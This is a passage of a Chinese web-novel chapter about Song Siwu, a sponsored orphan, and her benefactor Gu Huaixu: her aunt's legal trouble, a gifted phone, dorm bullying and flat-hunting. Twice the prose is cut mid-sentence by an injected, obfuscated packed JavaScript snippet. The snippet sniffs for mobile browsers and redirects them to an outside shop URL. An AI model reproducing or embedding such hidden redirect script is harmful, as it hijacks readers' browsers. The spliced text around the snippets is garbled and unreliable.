这东西上瘾,几年下来,不仅败光了宋氏夫妇留下的所有家产,还欠下高额债务。 最后不得已,剑走偏锋,卷走了公家几十万的货款。 警察带走舅舅那天,宋司雾也在场。 冯继知道自己是被人举报落得网,认定是被外甥女出卖。 冰冷的银色手铐扣在腕上,憔悴的男人双目通红,直勾勾地盯住她,破口大骂—— “你这个丧门星,枉我养你这么多年,竟然出卖老子!别以为你能摆脱我,等老子出来看我怎么收拾你!” 宋司雾那时就静静地站在原地,仿佛一座雕像,始终未发一言。 顾淮序没再问下去。 静了一阵,才淡淡道:“经济上有任何困难,尽管开口。” 宋司雾听着,没作声。 片刻之后,才声音平静地冒出一句:“顾先生是慈善家吗?” 她语气几分挪揄,不圆滑还带着刺,和平日恭敬温驯的样子不太一样。 顾淮序眉心微动,顿了数秒,才不疾不徐地开口:“算不上,我没有普渡众生的爱好。” 宋司雾靠在座椅里,盯着玻璃窗外形形色色的路人,却没了下文。 顾淮序今天这趟除了帮丁姨捎礼,还有一件事要和她当面确认。 “昨天我接到沪城XX区派出所的电话,说你舅妈——吴晓岚,牵涉一起网络传销。” 宋司雾转头看向顾淮序,试图消化他话里的信息。 顾淮序觉察到她的情绪波动,继续说:“人找到了,别担心。据说是个盘踞在沪城很久的网络传销团伙,她一开始也是被骗的。” 宋司雾微微松了一口气,又注意到他语气有些不太寻常。 “吴晓岚没有经济来源,他们调查到一个IP地址在南城的网银账户,半个月前曾给吴晓岚汇过款……” 宋司雾唇用力抿成一线。 “您认为给她汇款的人是我?” 这话的意思再明显不过,顾淮序怀疑她把顾家资助她的钱拿去给吴晓岚填坑,助纣为虐。 “我不是这个意思。” 顾淮序侧头看她一眼,宋司雾已别开了脸,朝向冷硬的玻璃。 偏他还要继续这话题。 “她联系过你吗?”顾淮序问。 “嗯。” “什么时候?” “开学之前。她找我要钱,我没给。” 吴晓岚一介女流,又没什么背景,丈夫犯了事,欠下一大笔债,她为求自保大义灭亲也算正常。 但检举丈夫入狱后,她的日子也不好过,追债的人并没有就此放弃讨债,反而去家门口对她围追堵截。 顾淮序问:“她什么时候离开南城的?” “上个月。”宋司雾的声音极度冰冷,有种余烬缥渺之感。 “她买了张火车票,拿着家里最后的几千块钱走了。” 之后再也没回来。 正如吴晓岚所言,自身都难保,哪里管得了宋司雾的死活。 那年宋司雾拿到中考成绩单,满心欢喜以为能去一中读书,吴晓岚却自作主张把她送去了Z中,换来的是免费入学资格和每年一笔颇丰的优秀学生补贴。 可想而知,这样的人在得知自己养了好几年的外甥女被顾家资助后,动心起念会去做的事。 上次吴晓岚来要钱,宋司雾就下定决心要划清界限,这才去网吧查相关案例资料,没想到阴差阳错被扣在派出所。 “后来的事您都知道了。” 顾淮序一时没再说话。 宋司雾说:“顾爷爷资助的每一笔钱我都有记录,顾先生不放心的话可以去查,不该花的钱我不会花……至于是谁给我舅妈汇的款,我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854905|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清楚。” 她声音冷得像在冰川里浸过,似乎要一口气把辩驳的话说完。 上回他就瞧出来了,小姑娘是有些傲气在身上的。 宁可枝头抱香死。 静了片刻,顾淮序方才开口:“你有警惕就好,警方排查也只是例行公事,何况银行可以调转账明细,不会出现你说的那种情况。” 宋司雾沉默片刻,低低应了一声。 顾淮序余光瞥了她一眼,小姑娘还是疏淡的一副表情,神色却明显放松几分。 她身上一直有着与年纪不符的沉稳,懂得察言观色,也懂得如何隐藏情绪。 但十七岁,再怎么逞强仍然是个孩子。 路口放行,沿着车道继续开了一段。 顾淮序将车泊停在马路边的车位里,解开安全带,“在这里等我。” 顾淮序走了二十分钟才回来,他拉开车门坐进来,手里多了样东西。 白色纸袋印着银色标志,宋司雾看清后几分愕然,这才想起不远处就是一家商场。 顾淮序把纸袋递过来,“手机丢了不方便,你先拿去用。” 宋司雾触电一般缩回手,果断道:“我不要。” “为什么?” “太贵了,我用不起。” 顾淮序微微拧眉,“一部手机而已,不存在用不起。” 宋司雾咬住下唇,生硬开口:“……我不能收。您退掉吧。” 顾淮序目光渐凉,这还是第一次有人提出这种要求。 换做顾家其他晚辈,哪有这种顾虑,比这贵重的礼早不知心安理得收了多少回。 “没有手机你打算怎么跟人联系,靠心灵感应还是量子纠缠?” “……明天我去重新买一部,二手市场五百左右就能解决。” “你是想被人监控然后盗取信息?” 顾淮序的声音压低之后有种不容置喙之感,“那种组装机功能少还有安全隐患,这部你以后上网查资料都能用到。” 宋司雾抿唇不言,仿佛不愿再多说什么。 沉默在车厢内弥漫开。 顾淮序靠着椅背,用余光打量她。 第一次看见她时,她像一只受惊的小鹿,让人忍不住想伸出援手。 也不是没注意过她的窘迫。 印象中,除了校服,几乎没见她穿过新衣服。 像她这般大的孩子自我意识都很强,不是别人三言两语就能说通。 尽管如此,他还是低估了她的执拗。 顾淮序把纸袋搁在中央扶手箱上,倒车出来,往前开了一段,“顺手买了,要是觉得用着不安心,就当是借给你的,以后再还。” 宋司雾闻言抬起头来,一双眼睛清凌凌地望向他。 “还钱还是还手机?” 顾淮序视线平视前方,眉心微拢了下,“随你。” 车开到学校,宋司雾下车到后座拿上书包和礼盒,“您等我一下。” 顾淮序降下车窗,瞧着她翻出本练习本,快速写下几行字,又撕下那页纸给他。 “什么意思?” “手机的借据,您收好了。”宋司雾揣起本子,重新背上书包。 他随意扫了两眼,女孩的字龙飞凤舞,却还是能辨认出笔触的灵动流畅来。 平生第一次收到这么潦草的“借据”,内容不全,格式不对,也没有注明利息和逾期违约金。 顾淮序收下了。 又问她:“什么时候月考?” “下周。” “宿舍住得还习惯?” 宋司雾默了一瞬,轻轻点头。 顾淮序略有深意地看她一眼,没再说什么。 见他准备发动汽车,宋司雾问:“您不接人了吗?” 顾淮序转头看她一眼,“我还有事,连桐晚点会自己过去。” “哦。” “还有事吗?” 宋司雾摇摇头,挥手和他道别。 9. Chapter 09 中秋过后,南城暑气未消。 宿舍楼内热意闷蒸,穿过走廊,空调冷气从两侧门缝里钻到脚腕上。 宋司雾从浴室洗漱完回到寝室,门正半掩着。 “楠楠,你以后别跟她说话了,你忘记今天明曦怎么说的了?” “这样不好吧,这又不是她的错……” “你如果继续理她,明曦她们肯定还会过来找麻烦的……” 宋司雾推门而入,声音戛然而止。 原本聚在一起聊天的室友们看见她立马散开,回到各自座位上。 朱楠本想和她打招呼,却被另一个女生拉住,只好冲她不自然地笑一笑。 宋司雾面无表情地去洗手间放好洗护,拿着换下来的衣服去了洗衣房,仿佛没听见那些话。 夜已深,盥洗室中只剩她独自站在砖白的洗手台前,弯着腰,用黄橙色的老式肥皂在袖口处有节奏地搓洗。 朱楠跟了过来,意味深长地看着那道清落的背影,低声叫她一句。 背影主人手上的动作没停,朱楠走到她旁边,闷声道:“其实我们都知道上次那个恶作剧是明曦干的,但是她们不承认,七班老师还护着她们……刚才我们不是故意要那样说你的,今天上午明曦突然带了几个人到宿舍来……说、说……” “朱楠。”不待她说完,宋司雾就转过脸,乌沉沉的一双眼睛看过来,“你没必要道歉。” 朱楠愣愣地看着她,有点没反应过来,不知道她是什么意思。 宋司雾当初帮她的事她一直记在心里,但是眼下这情形她也不知道该如何是好——明曦那些人有家世有背景,她们一个也惹不起。 宋司雾没说话,拧开水龙头,又接了一盆水,透明水柱砸在塑料盆底,哗啦哗啦很大声。 她早已习以为常。 震耳水声中,她用很平淡的语气对朱楠说:“回去吧,以后不要和我说话了。” - 隔天见到姜莱,宋司雾把收到的那盒月饼转赠给了她。 一共四枚,黑松露奶黄馅儿的——她没和丁姨提过她不能吃奶制品。 姜莱看到这么精致的月饼馅料也是吃惊,拆开包装先闻了闻。 宋司雾问她什么味道。 姜莱表情意味深长,促狭一笑,说:“钱的味道。” 她大大咧咧咬一口,嚼了几下,评价:“没五仁儿的带感。” 姜莱三下五除二解决掉一块,感叹:“他们家人想得还挺周到,你那部老年机从初中用到现在,早该退休了。” 最新款的苹果手机,套在宋司雾花九块九买的透明手机壳里,放在高中生们普遍用着价位两千左右国产手机的年代依旧扎眼。 从前她没觉得一台手机能有多沉,现在这部拿在手里,却似有千斤重。 两人从食堂出来回教学楼,午休时间,楼道口全是人。 姜莱挽着宋司雾,突然问:“你租房的事怎么不找你那个顾爷爷帮忙?他们家手眼通天的,不分分钟给你找到。” 宋司雾屏幕上的手指一顿,平声说:“不了,我自己找。” 她一向剔透,知道这世上人情最贵。 顾爷爷已经帮了她很多,她不可能每件事都指望别人。 上周起她就开始物色,毕竟等到舅舅家的房子执行查封,她在这个城市除了学校就没有其他落脚点了。 她的要求也简单,房子不需要多大,够住就好。 姜莱问:“为什么突然想出去住?” 宋司雾沉默一瞬,“我睡得晚,和室友作息不一样,与其相互迁就,还不如我搬出去。” 姜莱将信将疑,瞧着宋司雾眼下的淡淡乌青,也没再追问,凑到屏幕前,“这些都是中介发给你的?” “嗯。”宋司雾一路上在翻房屋信息,基本都是几十平的小公寓或者陪读房。 “看起来有点破啊,房租怎么给?” “押一付三,每月一千五。” “……当房东好霸道。” 姜莱一边上楼一边开解她:“学校附近我爸还算了解,回头让他也帮你留意留意。实在不行,你还可以去我家住,我不收你房租——” 话音刚落,宋司雾突然被人从右后方撞了一下背,手机没拿稳,啪一声摔地上,正面着地。 “我去!” 姜莱惊呼一声,撞人的男生先她一步,弯腰把手机捞了起来,轻佻一哂,“还好,挺耐摔的。” 宋司雾抬起头,看清了男生的脸,身旁的姜莱比她还惊讶。 连桐直起身,见是她俩,也是一愣。 他扬了扬手机,问:“这谁的?” 姜莱一把将手机夺过来,还给宋司雾。 宋司雾随即检查起屏幕,万幸,没有损坏。 她长舒一口气,暗暗庆幸昨天听了配件店老板的话,贴了防爆膜,否则刚才一摔怕是凶多吉少。 姜莱自顾自吐槽:“服了,今天出门忘看黄历了。” 连桐挑眉:“骂谁呢?” 宋司雾把手机揣进口袋,疑惑地看了姜莱一眼,讶于她和连桐竟然认识。 姜莱说两人是学校跆拳道社的同学。 姜莱从小学习跆拳道,高一时就已经是黑带了。 “她是我手下败将。”连桐摸了摸鼻子,在一旁补充。 姜莱双眼冒火,“你说谁是手下败将?” 连桐无所谓地笑笑,往宋司雾脸上瞥一眼,“你们俩怎么会在一起?” 姜莱没好气道:“管得着嘛你?走路不长眼。”说完拉着宋司雾上了楼。 连桐也是无语,怎么他讨厌的人都跑一起去了。 下午课间,宋司雾独自从洗手间出来,又撞见了连桐。 一米八几的个儿,倚在栏杆上,两条胳膊向后搭,腿随意抻开,在走廊上格外碍眼,看见她时站直了身,摆明是在等她的样子。 宋司雾默默收回目光,全当没看见,扭头走向另一侧楼梯。 连桐快她几步,把人堵在拐角。 “干嘛,躲我啊?” 宋司雾抬了抬眼,不咸不淡地说:“没有。” 连桐瞅她表情,就差把“少烦我”三个字写脸上了。 就这还没有? 他嗤了下,“没有你跑?” “你有事吗?”宋司雾没了耐心,眼看他也不是喜欢闲聊的人。 “没事就不能找你了?” 连桐说完,觉得这话不对味,又换了个说法,“作为班长,关心一下新同学。” 宋司雾冷冷看他一眼。 连桐没理会这个眼神,压低声音凑近了些,“这位同学,你知道骄奢淫逸四个字怎么写吗?你一个月生活费有多少,就敢超额消费,不知道勤俭节约?” 宋司雾盯着他,嘴角微微抿直,没有急着反驳。 连桐记得自己小时候逗猫,经常把猫逗得炸毛,亮出爪子挠他,那生气的表情跟她现在一模一样。 宋司雾退后半步,目光刻意地对着连桐上下扫视。 他没穿校服,鞋服都是潮牌联名,全身行头加起来大五位数,就这样的人还和她提勤俭节约。 她冷硬地开口:“少给我扣帽子,你才是骄奢淫逸本人。” “……” 连桐一时被怼得哑口无言,站原地愣了好半天,想起来回嘴,人已经没影儿了。 周末,连桐抽空去了趟公司,将母亲顾釉如寄来的伴手礼交给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854906|191646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾淮序。 欧洲酒庄新启出来的红酒,说是答谢之前帮拍下的那幅油画。 了却送酒的差事,连桐又听说研发部正在测试新款无人机,便跟着工作人员去瞧瞧。 顾氏由房地产起家,后来转做进出口贸易,近些年拓展了智能业务领域,如今在科技市场也有了一席之地。 现在集团研发部的前身,实际上是顾淮序大学期间组建的一支研发团队。 顾淮序十几岁开始接触算法设计,对无人机这类飞行器的兴趣浓厚,回国之后接手家族生意,顺理成章把研发工作融入了集团智能领域的板块。 此次的新品预计明年春季发布,主推的pro版本相较于前一个版本迭代了飞控系统,提升了图传及续航能力,还增加了智能返航功能。 连桐玩了几圈下来,爱不释手。 “小舅,这款性能真是不错,等正式发布了送我一台呗。” 顾淮序睨了他一眼,“你不是已经有一台?” “那不一样。”连桐如意算盘打得响,“我那台哪有这个帅。” 得到默许,连桐心情大好,蹭完新品,又跟着去了趟顾淮序办公室。 CBD大厦顶层划分了单独的休息区和会客厅,整层挑高设计,坐拥通透开阔的落地窗,视野极佳。 办公区域风格极简,墙壁摆满各类工具书籍和器械模型。 连桐在办公桌对面坐下,端起现泡的咖啡浅啜一口。 这豆子是巴拿马产的红标槐夏,产量稀少,口味独特,其他地方喝不到,顾淮序这儿倒是从来不缺。 连桐百无聊赖地坐了会儿,刷着手机,平白叫他想起件事。 “小舅,你最近有没有见过那个谁?” “谁?”顾淮序头都没抬,专心处理邮件。 连桐说:“就那个……宋司雾。” 顾淮序瞥他一眼,“怎么了?” 连桐本想控诉她近期的“恶劣”行径,但话到嘴边又憋了回去。 见他支支吾吾,顾淮序也猜到几分,“生活费由她个人支配,以后少拿这事找人麻烦。” 连桐连忙解释:“我哪有,上次是个误会……”没说两句,发觉自己有点不打自招的嫌疑,赶紧又把话题扯开。 “小舅,你知道她最近在找房子吗?” 顾淮序淡淡问:“什么房子?” 连桐回忆了下那天捡手机时看到的租房界面,“好像是学校附近的公寓,叫什么老破小。” 从小锦衣玉食的矜贵少爷并不知道什么叫老破小。 他也听外公提过,宋司雾除了舅舅还有个舅妈,怎么不见她和家人一起住,偏要搬出去,有些离谱。 正犹豫要不要问个清楚,顾淮序没给他机会,直接合上电脑起身,下了逐客令:“我还有会,你待会儿自己回去。” 连桐:“……” 行,这是亲舅舅,就这么把他晾在办公室。 说穿了宋司雾就一接受资助的孤女,外公看在她父母双亡的份儿上才施以援手,还让小舅看顾照拂,既然顾淮序都没把人放在心上,他多管什么闲事。 - 新的一周,回学校上课,姜莱给宋司雾带来一个好消息。 姜莱说,她爸前几天留意到一套小户型公寓,就在学校附近,步行十分钟到。 小区虽然不算新,但居民都是老住户,人员简单,进出刷门卡,安全性比较高。因为房东急着转租,所以价格压得比较低。 姜莱把房子照片发给宋司雾,问她的意见:“押一付一,你觉得怎么样?” “看起来还不错。” “我爸说,房东希望这周就能找到租客,你要是想租我们周末就去看看。”